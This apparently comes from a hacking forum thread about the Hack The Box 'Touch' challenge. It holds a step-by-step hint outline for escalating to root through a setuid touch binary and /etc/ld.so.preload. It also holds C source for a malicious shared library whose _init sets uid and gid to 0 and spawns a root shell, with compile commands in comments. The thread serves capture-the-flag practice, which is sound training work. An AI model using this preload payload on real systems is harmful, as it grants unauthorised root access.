HTB - Touch Challenge
by Th3B4h0z - Sunday June 16, 2024 at 09:24 AM
#1
Any hint for touch challenge ?
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#2
(Jun 16, 2024, 09:24 AM)Th3B4h0z Wrote: Any hint for touch challenge ?

1) Access the challenge shell

2) Examine the Environment

3) Identify the Exploitation Vector:
  - note: /bin/touch

4) Modify File Permissions with umask
  - ...
  - Create a new file and confirm the permissions

5) Exploit /etc/ld.so.preload

6) Create the Malicious Shared Library and compile it

7) Transfer to challenge and Use the Shared Library

8) Modify /etc/ld.so.preload

9) Gain Root Access && Read the Flag
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#3
(Jun 17, 2024, 08:16 AM)pwns4k3 Wrote:
(Jun 16, 2024, 09:24 AM)Th3B4h0z Wrote: Any hint for touch challenge ?

1) Access the challenge shell

2) Examine the Environment

3) Identify the Exploitation Vector:
  - note: /bin/touch

4) Modify File Permissions with umask
  - ...
  - Create a new file and confirm the permissions

5) Exploit /etc/ld.so.preload

6) Create the Malicious Shared Library and compile it

7) Transfer to challenge and Use the Shared Library

8) Modify /etc/ld.so.preload

9) Gain Root Access && Read the Flag
THX

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#4
Trying this code for shared lib
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/sh");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles


The system crash and shutdown :=(
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